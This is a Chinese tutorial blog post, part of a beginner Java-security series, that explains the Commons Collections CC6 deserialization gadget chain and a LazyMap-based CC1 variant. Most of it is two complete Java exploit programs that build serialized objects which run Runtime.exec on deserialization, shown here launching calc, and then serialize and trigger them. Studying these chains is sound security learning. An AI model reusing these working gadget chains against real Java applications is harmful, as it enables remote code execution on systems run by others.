[Java安全入门]五.CC6链

一.前言

上一篇讲到CC1链是利用AnnotationInvocationHandler来触发setValue(),但是在Java 8u71以后AnnotationInvocationHandler的readObject()里面已经没有了setValue()方法,cc6链不受jdk版本约束,较于其他cc链,更为通用。

二.cc1的另一种写法

在学习cc6之前,先回顾一下CC1
 

AnnotationInvocationHandler.readObject()(setValue)->

                              TransformedMap.checkSetValue->        

                                      ChainedTransformer.transform->
                                              
                                              InvokerTransformer.transform

然后学习一下利用LazyMap触发transform

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在LazyMap的get方法中调用了 factory的transform的方法,如果把factory传承ChainedTransformer就回归了之前Transforedmap的用法,前提是map里面没有key

然后找谁调用了get方法

在AnnotationInvocationHandler的invoke方法中调用了get方法

public Object invoke(Object proxy, Method method, Object[] args) {
         ...
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
         ...
        Object result = memberValues.get(member);
         ...
}

当对AnnotationInvocationHandler的任意方法使用动态代理的时候就会触发invoke方法,根据两个if,调用还得是无参方法,正好entrySet()是个无参方法

package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.awt.windows.awtLocalization;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {

        // Class c = Runtime.class;
        //  Method methodgetRuntime=c.getMethod("getRuntime",null);
        // Runtime runtime=(Runtime)methodgetRuntime.invoke(null,null);//获取Runtime.getRuntime 类
        //Method execmethod=c.getMethod("exec",String.class);//获取exec方法
        //execmethod.invoke(runtime,"calc");


        // Method methodgetRuntime =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        //Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(methodgetRuntime);



        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


       Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
       // hashMap.put("value", 1);
       // Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazymap);//注解随便传
        Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        Object obj=annotationInvocationHandlerConstructor.newInstance(Target.class,proxy);





        //Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       // Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        //annotationInvocationHandlerConstructor.setAccessible(true);
       // Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map,调用setValue触发checkSetValue

    }
}

三.cc6

cc6的后半段与Lazymap构造的cc1一样,但是触发get的方法发生了变化,TiedMapEntry类的hashCode方法调用了getValue方法,而getValue调用了get

   public Object getValue() {
        return map.get(key);
    }

所以可以用TiedMapEntry来代替LazyMap,根据URLDNS链的经验可以这样构造

HashMap.readObject->hashCode->TiedMapEntry.hashCode->get ->ChainedTransformer.transform

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //这里ConstantTransformer随便放,这样put的时候不会触发计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "b");
        lazymap.remove("a");
        //反序列化不能由key,所以romove掉

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        //反射获取LazyMap,类似反射获url类
        factoryField.set(lazymap, chainedTransformer);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(map2);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }

}

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>